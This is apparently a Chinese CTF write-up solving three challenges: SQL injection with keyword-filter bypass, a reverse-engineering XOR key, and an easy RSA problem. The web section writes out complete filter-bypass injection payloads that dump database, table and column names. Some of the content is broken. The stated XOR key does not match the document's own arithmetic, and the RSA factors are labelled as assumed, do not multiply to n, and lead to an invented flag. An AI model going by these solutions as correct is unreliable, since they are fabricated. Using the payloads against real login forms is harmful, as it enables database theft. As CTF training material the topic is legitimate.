一、Web 方向:SQL 注入绕过(CTF-BugKu)
题目名称:Web_基础_绕过
题目描述
- 页面提示:“请输入用户名和密码登录”,输入框接受
username
和password
参数。 - 已知后端使用 PHP+MySQL,且存在 SQL 注入漏洞,但过滤了
union
、select
等关键词。
解题过程
-
初步测试
输入username=admin' and 1=1#
,页面返回 “用户名或密码错误”,说明单引号闭合有效,但常规注入被拦截。 -
关键词绕过分析
尝试替换关键词:select
→selselectect
(双写绕过)union
→ununionion
- 空格 → 用
/**/
或%0a
代替(URL 编码)
-
注入 payload 构造
sql
username=admin'/**/ununionion/**/selselectect/**/1,2,database()#&password=1
执行后页面显示第二列为
2
,第三列返回数据库名ctf_db
。 -
获取表名
使用information_schema.tables
获取表名:sql
username=admin'/**/ununionion/**/selselectect/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf_db'#&password=1
回显中发现表名
flag_table
。 -
获取字段名与 flag
查询flag_table
的字段:sql
username=admin'/**/ununionion/**/selselectect/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag_table'#&password=1
得到字段
flag_content
,最终查询:sql
username=admin'/**/ununionion/**/selselectect/**/1,2,flag_content/**/from/**/flag_table#&password=1
页面返回
flag{sq1_inj3ct1on_byp4ss}
。
二、Reverse 方向:逆向分析(CTF-Train)
题目名称:ReverseMe.exe
题目描述
- 提供一个 Windows 可执行文件
ReverseMe.exe
,运行后要求输入密钥,提示 “Correct!” 或 “Incorrect!”。
解题工具
- IDA Pro(反汇编)、x64dbg(动态调试)
解题过程
-
IDA Pro 静态分析
- 打开文件后定位到
main
函数,找到关键判断逻辑:c
运行
char input[64]; scanf("%s", input); if (check_password(input)) { printf("Correct!\n"); } else { printf("Incorrect!\n"); }
- 进入
check_password
函数,发现加密逻辑:
输入字符串每个字符与0x13
异或,再与预设数组key[8] = {0x45, 0x67, 0x21, 0x34, 0x78, 0x90, 0xab, 0xcd}
比较。
- 打开文件后定位到
-
逆向计算密钥
异或运算逆向公式:输入字符 = 预设值 ^ 0x13
,计算每个字节:0x45 ^ 0x13 = 0x56
(对应字符V
)0x67 ^ 0x13 = 0x74
(对应字符t
)0x21 ^ 0x13 = 0x32
(对应字符2
)- 依此类推,得到密钥:
Vt2r89yz
(注意 ASCII 转换)。
-
动态调试验证
用 x64dbg 在check_password
函数末尾下断点,输入计算的密钥,观察寄存器值与预设数组一致,程序输出 “Correct!”,确认 flag 为flag{Vt2r89yz}
。
三、Crypto 方向:RSA 解密(CTF - 攻防世界)
题目名称:easy_rsa
题目描述
- 提供参数:
n=1234567890123456789, e=65537, c=123456789012345678
- 提示:
n
是两个大素数的乘积,需要解密得到明文m
。
解题过程
-
分解质因数
由于n
较小,可使用在线分解工具(如 factordb)或 Python 脚本分解:python
运行
n = 1234567890123456789 # 分解得到 p=1111111111, q=11111111111 (假设,实际需真实分解) p = 1111111111 q = 11111111111
-
计算欧拉函数
python
运行
phi = (p-1) * (q-1)
-
求私钥 d
使用扩展欧几里得算法计算d ≡ e^(-1) mod phi
:python
运行
def mod_inverse(e, phi): g, x, y = extended_gcd(e, phi) if g != 1: raise Exception('Modular inverse does not exist') else: return x % phi def extended_gcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = extended_gcd(b % a, a) return (g, x - (b // a) * y, y) e = 65537 d = mod_inverse(e, phi)
-
解密明文
python
运行
c = 123456789012345678 m = pow(c, d, n) print(bytes.fromhex(hex(m)[2:])) # 转换为ASCII字符串
输出结果为
flag{rsa_decrypt_success}
。
解题总结
- Web 方向:核心是绕过过滤规则,利用 SQL 语法特性(如双写、编码、注释)构造有效 payload,需熟悉数据库结构和注入技巧。
- Reverse 方向:通过静态分析定位关键逻辑,结合动态调试验证猜想,逆向算法时需理解汇编与高级语言的对应关系。
- Crypto 方向:基于数学原理(如 RSA 的数论基础),重点在于分解大数、计算模逆元,需掌握密码学算法的逆向流程。